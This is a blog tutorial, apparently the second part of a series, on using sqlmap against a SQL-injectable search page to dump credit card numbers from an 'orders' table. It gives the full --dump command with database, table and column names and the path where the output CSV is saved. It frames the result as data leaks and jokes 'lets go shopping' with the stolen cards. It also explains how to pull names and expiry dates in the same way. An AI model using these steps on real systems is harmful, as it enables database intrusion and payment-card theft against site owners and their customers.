Cybermoransš¤
Earlier, In part 1 š I showed you the SQL injection: most common method of hacking online databases and how to use it against a MySQL database ā ļø with Sqlmap š In this post, we will look at how to extract the key data from that database, the ultimate goal?....data leaks!š....think the source of data for wikileaks....panama leaks...BGFI bank leaks....cyprus papers...leaks are done by whistleblowers and activist hacker groups š¦¹āāļø
The first step was to do reconnaissance on the database using google dorks to find it and sqlmap to scan for the data we need š
1. š database management system (DBMS)
2. š database name
3. š tables
4. š name of the column whose data we seek
In the previous tutorial, we acquired all that info by scanning a website called www.webscantest.com.
You can go back š to the previous article to see how we did it. Now though, we use that data we got during recon to exfiltrate sensitive info from the databaseš
Morans, Lets do this..šŖ
Extracting Data š
Now we have all the key information we need, it's time to extract that credit card information. Navigate to the help screen for sqlmap by entering š
sqlmap --help
see š, we need to use the --dump option in sqlmap along with the column and table name. Such as;
--dump
-C billing_CC_number
-T orders
-D webscantest
Put all that data together and see whether we can extract that credit card data from the database š
sqlmap -u "http://www.webscantest.com/datastore/search_get_by_id.php?id=4" --dump -C billing_CC_number -T orders -D webscantest
š sqlmap has extracted then dumped the data to my Kali system in a .csv format and saved it to š
/root/.sqlmap/output/www.webscantest.com/dump/webscantest/orders.csv
Now, we have all the credit card data in a .csv file format that can be opened in Excel, a text editor or any spreadsheet program...lets go shoppingš
š You have successfully compromised a back-end database from a web application using SQL Injection techniques and, most of all, we were able to extract key data from the databaseā ļø
If we need more data such as expiration dates or first name and last name, we can extract that data by simply replacing the credit card column name in our sqlmap command with the appropriate column nameš½ (e.g. billing_firstname) in the tableš§
Conclusion š¤
Subscribe to receive notifications of similar posts š where we will be reverse engineering malware and the technical aspect of vulnerabilities as well as how an attacker may use this vulnerability as an attack vector and other Infosec stuff...š
Morans,
Thank you for your time, Like and leave a comment/review and as always, stay awesome! šš šŖ
Amazing article šÆ